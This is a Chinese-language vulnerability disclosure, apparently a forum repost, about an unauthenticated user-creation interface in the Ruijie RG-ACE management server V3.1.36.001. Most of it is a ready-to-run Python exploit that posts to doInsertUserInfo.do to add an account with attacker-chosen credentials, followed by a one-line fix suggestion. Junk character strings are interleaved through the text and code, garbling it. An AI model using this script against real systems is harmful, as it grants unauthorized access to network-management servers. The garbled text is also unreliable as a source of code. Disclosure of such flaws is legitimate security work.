锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)8 k& |6 K+ D: t6 I
' N5 E0 F0 o E' }" W, \5 Z) j
) J# E2 X; ~6 S8 |/ H! h1 Y0 c测试的具体版本是
0 m g. B3 p9 T) M/ R产品名称: 锐捷应用控制引擎
# z- K# B; p0 d版本号: 3.1.36.001 TC
6 y* { U G, S5 f. q4 Y* ?编译时间: 201104291730$ _0 {& o/ c& }" q; Q
! [( U, b5 T! w1 m& M
& H7 {& w( x( l8 s; t3 Q漏洞证明:3 p& ]5 A& m. ^! n# t1 {- q% Z
! p; B- F) x0 `( ]0 I9 e
6 X) \- w8 u5 V2 s! @( f( i" g$ y( I+ A
% ?% }; d3 I* @1 s' i' ~+ J% L* f" {% o/ s" O
7 k8 Y P) c z! P. M执行脚本( L; A, R6 P7 U9 ]
#! /usr/bin/env python
$ m( G9 R5 N% P% I#coding=gbk
$ b$ P" D! [( g+ m# l7 F0 s#RG-ACE管理服务器 V3.1.36.001 I/ r# c4 E o; J
import urllib2, urllib,cookielib, g E# g/ K8 \% z' H8 A, J2 C
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
, Y* v5 z t, kopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
; G+ I( h; }7 ?: ]opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
1 u' N! L0 Y% P; |post=(("event","userManager.doInsertUserInfo"),
% U; Q8 i% R" c' K1 X("useractionname","addButtonValue"),3 S. W: }9 F4 k' d# ~
("useropermanager","userManager"),
3 s5 O( j$ E$ |: _5 k/ c* z("userName","t"), #######账号自己加. g* j& t- R) ~7 m8 W- k8 R
("pwd","aaaaaa"),######密码自己加
. e. W0 w A4 ~0 W c("trueName","ad"),% o- a+ p& a4 x2 O) P
("email",""),
, i) L0 D. S ?6 E("mobilePhone",""),
8 ^. m& `$ m9 ?& P) T. o("officePhone",""),
: v( {' A- f6 E- j1 S) L6 u: m) S("addr",""),
2 O* a/ h: A) B! ^("submit","确定"))8 @3 K$ ]; `# A A# N. K
urllib2.install_opener(opener)/ t& H: G+ F0 w4 {1 \) W5 W) ~6 g1 {
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
$ b: T9 }# K+ @- Tprint "Done"# n( g( U& ~4 D2 ]4 R) _ U. O
0 ?$ z! w3 w/ C" q/ d9 n1 ?
登录,连接设备1 x4 ]; D c; ]2 ~% G& n0 }" q, ?
! o6 [; u# _+ f5 W6 e
3 Z. ?1 D1 J* K! b' d% f. r2 d! W n( {% i
8 }. M4 n5 ~% l% T. \/ ]' T- P! B3 V4 z6 V: k, N$ E4 O+ s
默认的管理员admin权限更大点3 P0 [- ?! u# D" S9 R- Q1 \3 _. p/ j
. M" a) K: z9 ]$ W+ l
) O$ S, J4 R/ s% w* Z" ?7 L4 r
8 U z4 W% U7 S W 8 [9 ]* O* u' l
% r' y3 r P9 A6 c' p; v4 S9 o* u
修复方案:
. F4 W4 g. G+ c; b1 e x, H加强对接口的权限验证) z$ g1 i- v+ Q8 J. E
$ u t f, E+ _" \! ]
|